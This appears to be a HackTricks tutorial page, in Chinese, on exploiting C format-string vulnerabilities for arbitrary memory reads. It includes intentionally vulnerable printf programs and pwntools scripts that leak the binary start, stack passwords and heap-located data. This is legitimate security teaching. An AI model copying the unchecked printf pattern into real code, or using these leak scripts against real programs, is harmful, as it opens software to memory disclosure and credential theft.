Format Strings - Arbitrary Read Example

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

读取二进制起始

代码

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

编译它使用:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

攻击利用

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • 偏移量为11,因为设置多个A并通过循环暴力破解偏移量从0到50,发现在偏移量为11且有5个额外字符(在我们的情况下是竖线|)时,可以控制完整地址。

  • 我使用了**%11$p**,填充直到看到地址全为0x4141414141414141。

  • 格式字符串有效载荷在地址之前,因为printf在遇到空字节时会停止读取,所以如果我们先发送地址然后发送格式字符串,printf永远不会到达格式字符串,因为会先遇到空字节。

  • 选择的地址是0x00400000,因为这是二进制文件的起始位置(没有PIE)。

读取密码

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

编译它使用:

clang -o fs-read fs-read.c -Wno-format-security

从栈中读取

stack_password 将被存储在栈中,因为它是一个局部变量,所以只需滥用 printf 来显示栈的内容就足够了。这是一个利用 BF 前 100 个位置来从栈中泄露密码的漏洞利用:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

在图像中,我们可以看到我们可以从堆栈中的第10位置泄漏密码:

读取数据

运行相同的利用程序,但使用%p代替%s,可以在%25$p处从堆栈中泄漏堆地址。此外,将泄漏的地址(0xaaaab7030894)与该进程中内存中密码的位置进行比较,我们可以获得地址之间的差异:

现在是时候找出如何控制堆栈中的一个地址,以便从第二个格式字符串漏洞中访问它:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

并且可以看到,在尝试14中,通过使用传递,我们可以控制一个地址:

攻击利用

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

最后更新于